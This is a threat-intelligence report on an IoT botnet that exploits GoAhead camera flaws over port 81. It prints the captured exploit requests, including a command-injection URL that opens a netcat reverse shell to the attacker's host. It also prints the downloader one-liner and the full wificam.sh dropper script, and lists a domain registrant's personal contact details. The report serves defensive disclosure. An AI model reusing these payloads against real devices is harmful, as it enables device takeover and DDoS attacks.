New Threat Report: A new IoT Botnet is Spreading over HTTP 81 on a Large Scale

Li Fengpei -

Overview

360 Network Security Research Lab recently discovered a new botnet that is scanning the entire Internet on a large scale. Taking into account the following factors in the botnet, we decided to disclose our findings to the secure community:

  1. Very active, we can now see ~ 50k live scanner IPs daily.
  2. Malicious code identified, simple UDP DDoS attacks recorded.
  3. Most security vendors fail to identify the malicious code (7/55 on virustotal)
  4. This botnet borrows partial code such as port scanning module from the Mirai, but it is completely different from mirai in terms of infect chain, C2 communication protocol, attack module and so on. Although the binary names have mirai mentioned it is probably not wise to treat it just as a mirai variant

We sort out the botnet discovery process, communication techniques, behavioral characteristics, a brief analysis of the botnet attacks, and in accordance with the timeline to organize the blog as follows:

  1. GoAhead and multiple camera RCE vulnerabilities
  2. The attacker exploited the vulnerability
  3. The scan started
  4. From scan to sample
  5. C2 historical changes backtracking
  6. Botnet size from DNS perspective
  7. An observation about a particular scanner 212.232.46.46
  8. IoC

GoAhead and Multiple Camera RCE 0Day Vulnerabilities

Researcher Pierre Kim (@PierreKimSec) released a vulnerability analysis report on GoAhead and other OEM cameras on 2017-03-08. In terms of equipment manufacturers attribution, the original author pointed out that the equipment OEM manufacturers involved more than 1,250 different camera manufacturers, models; About the number of potential infection equipment, the researcher used Shodan to estimate that more than 185,000 devices have potential problems. The original article links as follows:

https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html

In the original article, the researcher pointed out that GoAhead camera has a number of problems, including:

  • By providing blank loginuse and loginpas to bypass the authentication session and download the device's .ini files
  • By set_ftp.cgi injection to obtain root privileges, and provide remote root Shell on the device

The original author points out that attacker can gain root access on the impacted devices without any device login by utilizing the above two vulnerabilities, and he also provided a PoC.

The Attacker Exploited the Vulnerability

It only took a little bit more than a month for the attacker to exploit the vulnerability after the original PoC announcement, on 2017-04-16 we have noticed the scan activity.

The payload we captured has the following characteristics:

  1. scan port changed from 80 to  81
  2. The syn scan process is borrowed from Mirai
  3. Scan process also verifies the existence of the login.cgi page so the victims can be further screened.
  4. The previously mentioned goahead 0-day 4.vulnerability is used to deliver payload
  5. We have not confirmed but there is reason to suspect that after a successful infection on the device, the exploit blocks the payload delivery channel

The scan started

We first noticed this event from our real-time port scan monitoring system:

http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum


Figure 1 port 81 scan big jump since 2017-04-16

From the figure we can see, 2017-04-16 is the day when the scan really was started. Compare 2017-04-15 with one day after, the number of scanning sessions increased to 400% to 700%, the number of unique scanner had 4000% to 6000% increments. On 2017-04-22, the number of unique scan source had passed over 57,000，which is a fairly big number.

Figure 2 detailed volume compare

From scan to sample

Payload

After noticing the scan behavior, we started to look into our various systems. Our honeypot captured the following samples. It worth noting that, although the names of the samples contain the mirai word, the way they work has some major difference, and we think it should be treated as a new threat.

cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh
428111c22627e1d4ee87705251704422 mirai.arm
9584b6aec418a2af4efac24867a8c7ec mirai.arm5n
5ebeff1f005804bb8afef91095aac1d9 mirai.arm7
b2b129d84723d0ba2f803a546c8b19ae mirai.mips
2f6e964b3f63b13831314c28185bb51a mirai.mpsl

The file information for the samples is as follows:

  • mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

  • mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

  • mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped

  • mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

  • mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

  • wificam.sh: ASCII text

The delivery of the payload

The payload is delivered after a successful port 81 scan and verification process.

  1. The exploit, on the basis of the above PoC, injects an order to force the victim device to initiate a nc connection to load.gtpnet.ir:1234
  2. Victim downloads and executes the script hxxp: //ntp.gtpnet.ir/wificam.sh, and then continue to download all the samples named mirai.arm / mirai.arm5n / mirai.arm7 / mirai.mips / mirai.mpsl from hxxp://Ntp.gtpnet.ir
  3. These samples will be further executed and make connection with the control server, and that is the end of the infection phase, and the device is ready to launch attack.

The codes are as follow

  1. The injections
GET login.cgi HTTP/1.1

GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1

GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1

This payload is contained in the sef_ftp.cgi URI, which decodes to

nc load.gtpnet.ir 1234 -e bin/sh

The victim is therefore forced to initiate a nc connection to the attacker's server and downloads wificam.sh

  1. wificam.sh downloaded to victim
$ nc load.gtpnet.ir 1234`

busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &`

wificam.sh instructs to further download more new sample files

$ cat wificam.sh

wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin
wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin
wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin

chmod +x /tmp/arm.bin
chmod +x /tmp/arm5.bin
chmod +x /tmp/arm7.bin
chmod +x /tmp/mips.bin
chmod +x /tmp/mpsl.bin

killall *.bin
killall arm
killall arm5
killall arm7
killall mips
killall mpsl
killall hal

/tmp/arm.bin
/tmp/arm5.bin
/tmp/arm7.bin
/tmp/mips.bin
/tmp/mpsl.bin
rm -rf /tmp/*.bin
Data points

Our different monitoring systems all successfully picked up this activity


Our Scanmon indicates that the spike first seen is around 2017-04-16 03:00:00.


The viewpoint from our pDNS system, the first C2 resolve spike occurred around 2017-04-16 03:00:00


From our honeypots, the samples came in also around 2017-04-16 03:00:00 (excluding one specific source 212.232.46.46, which we will discuss later).

Sample analysis

Reverse engineering the sample is more time-consuming and is still a working in progress, we may release further analysis later on. At this stage, we can discuss a little bit about the samples' network behaviors:

  1. Sample vs C2 communcations
  2. Sample vs a simple UDP DDoS attack
  3. Sample vs mirai
  4. Sample vs IoT
Sample vs C2 communcations

The samples will communicate with load.gtpnet.ir/ntp.gtpnet.ir both in the infection phase and in the attack phase.

Sample vs a simple UDP DDoS attack

The sample contains DDoS attack module. We observed the sample in the sandbox launched a DDoS attack against 185.63.190.95 around 2017-04-23 21:45:00
, it is worth noting that this attack was also detected by our DDoSmon.net platform
https://ddosmon.net/explore/185.63.190.95

Further analysis of the UDP attack:

  • From DDoSMon , the attack was mainly targeted the victim on its port UDP 53/123/656, the size of the package are mainly 125/139
  • From the Pcap analysis of the sandbox, the attack goes to UDP ports 53/123, and the packet sizes match the DDosMon.net data

In addition, from the sandbox Pcap, we can see the attack packet uses real IP address, also the payload is populated with the SSDP (UDP 1900) data.

Simple UDP 53 DDoS with a SSDP1900 padding

Simple UDP 123 DDoS with a SSDP1900 padding

Sample vs mirai

Overall, we think this is a new family, not a variant ot mirai family.

The difference between these samples and mirai includes:

  • Infection phase: no more brute-force on port 23/2323 port. Instead a port 81 GoAhead RCE vulnerability exploit
  • C2 communication protocol: completely different from mirai
  • Attack module: completely different from mirai; Mirai does not attack on UDP port 53/123/656. and the unique Mirai GRE / STOMP attack is no where to be seen in these samples

The sample also have something in common with mirai:

* Infection phase: the use of some sort of unique (but well known in the security community) syn scan to speed up the process of port scanning. However, today this technique is no longer a mirai unique feature
  * File name: the word mirai in file names
  * Code reuse: partial mirai code borrowed

Sample vs IoT

IoT devices are the target of this threat, although there are 1200+ potential kinds of equipment. We successfully used our DNS data to pinpointed major victims.

We have developed a machine leaning based tool we called d2v that can be handy to line up associated domain names. In this case, D2v helps us find following domains names associate to ntp.gtpnet.ir when the spike occurred:

s3.vstarcam.com
s2.eye4.cn
ntp.gtpnet.ir
api.vanelife.com
load.gtpnet.ir
ntp2.eye4.cn
push.eye4.cn
push.eyecloud.so
ntp.eye4.cn
m2m.vanelife.com`

These domains' website titles are as follows:

C2 historical changes backtracking

Domain DNS History Record Analysis

The DNS historical records of the two domain is as follows


As we can see:

  1. load.gtpnet.ir only uses one ip 185.45.192.168, while
      2. ntp.gtpnet.ir IP changes a few times, and
      3. ntp.gtpnet.ir seems to have some service instability, which was also observed from our sandbox

Domain ntp.gtpnet.ir 's IP instability may be explained by the following fact(s):

* We can see from the reverse engineering, the former domain only responsible for delivering the initial downloader, so the load is relatively light; while the latter domain is responsible not only for delivering wificam.sh and five elf samples, but also bear the responsibility for communication with all the bot, so the load is much more heavier than the former
  * The whole botnet is quite big, the server might have to talk to tens of thousands of bot at the same time.

Domain Registration Analysis

Here is the domain's registration information :

domain:		gtpnet.ir
ascii:		gtpnet.ir
remarks:	(Domain Holder) javad fooladdadi
remarks:	(Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR
holder-c:	jf280-irnic
admin-c:	jf280-irnic
tech-c:		mk3389-irnic
nserver:	etta.ns.cloudflare.com
nserver:	dom.ns.cloudflare.com
last-updated:	2017-04-19
expire-date:	2018-04-06
source:		IRNIC # Filtered

nic-hdl:	jf280-irnic

person:		javad fooladdadi

org:		personal

e-mail:		ademaiasantos@gmail.com

address:	Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR

phone:		+989155408348

fax-no:		+989155408348

source:		IRNIC # Filtered


nic-hdl:	mk3389-irnic

person:		Morteza Khayati

e-mail:		morteza.khayati1@gmail.com

source:		IRNIC # Filtered
The domain’s expiry date is 2018-04-06, we can safely assume the domain’s registration date is 2017-04-06, which happened after the PoC and before the scanning spike. So it is pretty clear, this domain is setup just for this botnet.

Botnet Size from DNS perspective

Util now, based on the dns queries, the number of bots we see is 43,621 (the global number might be much higher), we only have DNS visibility in China, so our dns view is limited to the Chinese mainland. The specific geographical distribution is as follows:

Daily active scanner number in mainland China varies between 2,700 and 9,500, as follows:

An observation about a Particular canner 212.232.46.46

Among all the bots hitting our honeypot, 212.232.46.46 somehow stands out, it was the first scanner hit our honeypot using this particular vulnerability , and after 5 quiet hours, all the massive scan started from various sources.

We are not sure why, but this might be something worthing looking.

IoC

Samples

cd20dcacf52cfe2b5c2a8950daf9220d  wificam.sh
428111c22627e1d4ee87705251704422  mirai.arm
9584b6aec418a2af4efac24867a8c7ec  mirai.arm5n
5ebeff1f005804bb8afef91095aac1d9  mirai.arm7
b2b129d84723d0ba2f803a546c8b19ae  mirai.mips
2f6e964b3f63b13831314c28185bb51a  mirai.mpsl

C2 Servers

ntp.gtpnet.ir
load.gtpnet.ir